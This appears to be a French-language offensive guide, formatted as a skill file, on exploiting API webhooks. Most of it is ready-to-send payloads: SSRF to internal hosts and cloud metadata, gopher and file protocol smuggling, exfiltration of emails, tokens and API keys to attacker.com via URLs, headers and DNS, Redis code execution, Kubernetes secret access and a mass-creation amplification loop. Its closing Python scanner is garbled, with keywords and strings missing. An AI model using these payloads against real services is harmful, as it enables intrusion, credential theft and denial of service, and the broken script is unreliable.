| name | api-webhook-exfiltration |
| description | Guide complet d'exploitation des webhooks API — SSRF inbound via webhooks, exfiltration out-of-band, callback servers, blind SSRF, DNS exfiltration, webhook smuggling, et détournement de notification |
| category | cybersecurite |
API Webhook & OOB Exfiltration — Guide Avancé
Introduction
Les webhooks sont des mécanismes où l'API envoie des requêtes HTTP vers une URL configurée pour notifier des événements. Cette fonctionnalité est un vecteur SSRF massif et un pipeline d'exfiltration idéal.
1. SSRF via Webhook URL
1.1 URL Injection Basique
POST /api/v1/webhooks
{
"url": "http://127.0.0.1:8080/admin",
"event": "order.created"
}
POST /api/v1/webhooks
{
"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
"event": "user.created"
}
POST /api/v1/webhooks
{
"url": "http://10.0.0.1:5432/",
"event": "test"
}
POST /api/v1/webhooks
{
"url": "http://10.0.0.1:6379/",
"event": "order.created"
}
1.2 Protocol Smuggling
POST /api/v1/webhooks
{
"url": "gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aSET%0d%0a$4%0d%0akey1%0d%0a$5%0d%0avalue%0d%0a",
"event": "test"
}
POST /api/v1/webhooks
{
"url": "dict://127.0.0.1:6379/info",
"event": "test"
}
POST /api/v1/webhooks
{
"url": "file:///etc/passwd",
"event": "test"
}
POST /api/v1/webhooks
{
"url": "ftp://attacker.com:21/test",
"event": "test"
}
POST /api/v1/webhooks
{
"url": "file://attacker.com/share/test",
"event": "test"
}
1.3 URL Bypass Techniques
POST /api/v1/webhooks
{
"url": "http://rebind-attacker.com:8080/admin",
"event": "order.created"
}
POST /api/v1/webhooks
{
"url": "http://127.0.0.1%00%40evil.com/",
"event": "test"
}
POST /api/v1/webhooks
{
"url": "http://[::1]:8080/admin",
"event": "test"
}
POST /api/v1/webhooks
{
"url": "http://2130706433:8080/",
"event": "test"
}
POST /api/v1/webhooks
{
"url": "http://shorturl.at/xyz123",
"event": "test"
}
2. Blind OOB Exfiltration
2.1 Data Exfiltration via Webhook Body
POST /api/v1/webhooks
{
"url": "http://attacker.com/exfil",
"event": "*"
}
2.2 URL Parameter Exfiltration
POST /api/v1/webhooks
{
"url": "http://attacker.com/{event.type}?id={order.id}&amount={order.total}",
"event": "order.created"
}
POST /api/v1/webhooks
{
"url": "http://attacker.com/{{user.email}}?key={{api.key}}",
"event": "user.created"
}
2.3 Header Exfiltration
POST /api/v1/webhooks
{
"url": "http://attacker.com/",
"event": "order.created",
"headers": {
"X-Leak-Email": "{{user.email}}",
"X-Leak-Token": "{{user.token}}"
}
}
3. Callback Server Setup
curl "https://oob.interact.sh/generate"
→ {"token":"abc123", "url":"http://abc123.oob.interact.sh"}
POST /api/v1/webhooks
{
"url": "http://abc123.oob.interact.sh/exfil",
"event": "order.created"
}
curl "https://oob.interact.sh/abc123/log"
→ [{"time":"...", "method":"POST", "body":"..."}]
3.1 Serveur de Callback Local
python3 -c "
from http.server import HTTPServer, BaseHTTPRequestHandler
import sys
class CallbackHandler(BaseHTTPRequestHandler):
def do_GET(self):
print(f'[GET] {self.path}', file=sys.stderr)
print(f'[HEADERS] {self.headers}', file=sys.stderr)
self.send_response(200)
self.end_headers()
def do_POST(self):
length = int(self.headers.get('content-length', 0))
body = self.rfile.read(length)
print(f'[POST] {self.path}', file=sys.stderr)
print(f'[BODY] {body[:2000]}', file=sys.stderr)
print(f'[HEADERS] {self.headers}', file=sys.stderr)
self.send_response(200)
self.end_headers()
HTTPServer(('0.0.0.0', 8888), CallbackHandler).serve_forever()
"
ngrok http 8888
3.2 DNS Exfiltration
POST /api/v1/webhooks
{
"url": "http://$(cat /etc/hostname).exfil.attacker.com/test",
"event": "order.created"
}
POST /api/v1/webhooks
{
"url": "http://$(echo -n $API_KEY | base64).exfil.attacker.com/",
"event": "test"
}
4. Webhook Event Hijacking
4.1 Subscribe to All Events
POST /api/v1/webhooks
{
"url": "http://attacker.com/exfil",
"event": "*"
}
POST /api/v1/webhooks
{
"url": "http://attacker.com/exfil",
"event": "password.reset"
}
POST /api/v1/webhooks
{
"url": "http://attacker.com/exfil",
"event": "payment.completed"
}
POST /api/v1/webhooks
{
"url": "http://attacker.com/exfil",
"event": "user.email.changed"
}
POST /api/v1/webhooks/events
4.2 Webhook Event Bruteforce
for event in order user payment product customer \
account subscription invoice transaction \
transfer refund chargeback dispute \
auth login logout register verify; do
for action in created updated deleted completed \
failed cancelled pending approved; do
resp=$(curl -s -o /dev/null -w "%{http_code}" \
-X POST https://api.target.com/api/v1/webhooks \
-d "{\"url\":\"http://attacker.com/test\",\"event\":\"$event.$action\"}")
[ "$resp" != "400" ] && echo "[$resp] $event.$action"
done
done
5. Webhook Authentication Bypass
5.1 Secret Bypass
POST /api/v1/webhooks
{
"url": "http://attacker.com/exfil",
"event": "order.created",
"secret": ""
}
POST /api/v1/webhooks
{
"url": "http://attacker.com/exfil",
"event": "order.created"
}
5.2 Webhook URL Modification
PUT /api/v1/webhooks/123
{
"url": "http://attacker.com/exfil",
"active": true
}
GET /api/v1/webhooks
→ [{"id": 123, "url": "http://target.com/legit", "event": "order.created"}]
6. Webhook Smuggling
6.1 HTTP Request Smuggling via Webhook
POST /api/v1/webhooks
{
"url": "http://127.0.0.1:8080/",
"event": "order.created",
"headers": {
"Foo": "bar\r\nX-Injected: true\r\nX-Internal-Command: delete-all"
}
}
6.2 Response Smuggling
7. Webhook-SSRF to RCE
7.1 Redis SSRF via Webhook
POST /api/v1/webhooks
{
"url": "http://127.0.0.1:6379/",
"event": "test"
}
POST /api/v1/webhooks
{
"url": "gopher://127.0.0.1:6379/_EVAL%20%22os.execute('id')%22%200",
"event": "test"
}
7.2 Kubernetes API SSRF
POST /api/v1/webhooks
{
"url": "https://kubernetes.default.svc/api/v1/secrets",
"event": "order.created"
}
POST /api/v1/webhooks
{
"url": "http://10.0.0.1:10250/run/admin/id",
"event": "test"
}
8. Mass Webhook Creation (Amplification)
for i in $(seq 1 1000); do
curl -X POST https://api.target.com/api/v1/webhooks \
-d "{\"url\":\"http://victim.com/webhook$i\",\"event\":\"order.created\"}"
done
Script Automatisé
"""Webhook SSRF & exfiltration scanner."""
import requests
import threading
from http.server import HTTPServer, BaseHTTPRequestHandler
import sys
BASE = "https://api.target.com"
INTERNAL_TARGETS = [
"http://127.0.0.1:8080/admin",
"http://127.0.0.1:3000/",
"http://127.0.0.1:5000/",
"http://169.254.169.254/latest/meta-data/",
"http://metadata.google.internal/",
"http://10.0.0.1:8000/",
"http://kubernetes.default.svc/"
]
def test_ssrf_webhook():
"""Teste SSRF via webhook URL."""
for target in INTERNAL_TARGETS:
try:
r = requests.post(BASE + "/api/v1/webhooks", json={
"url": target,
"event": "test"
}, timeout=5)
if r.status_code in [200, 201]:
print(f"[SSRF] Webhook créé vers {target}")
r2 = requests.post(BASE + "/api/v1/orders", json={
"productId": 1, "quantity": 1
})
print(f" → Déclenché: POST /api/v1/orders → {r2.status_code}")
Exception e:
()
():
protocol [, ]:
r = requests.post(BASE + , json={
: protocol,
:
})
()
():
events = [, , , , ]
candidates = ()
evt events:
r = requests.post(BASE + , json={
: ,
: evt
})
r.status_code != :
candidates.add(evt)
()
__name__ == :
test_ssrf_webhook()
test_protocol_smuggling()
discover_events()
Checklist
Ressources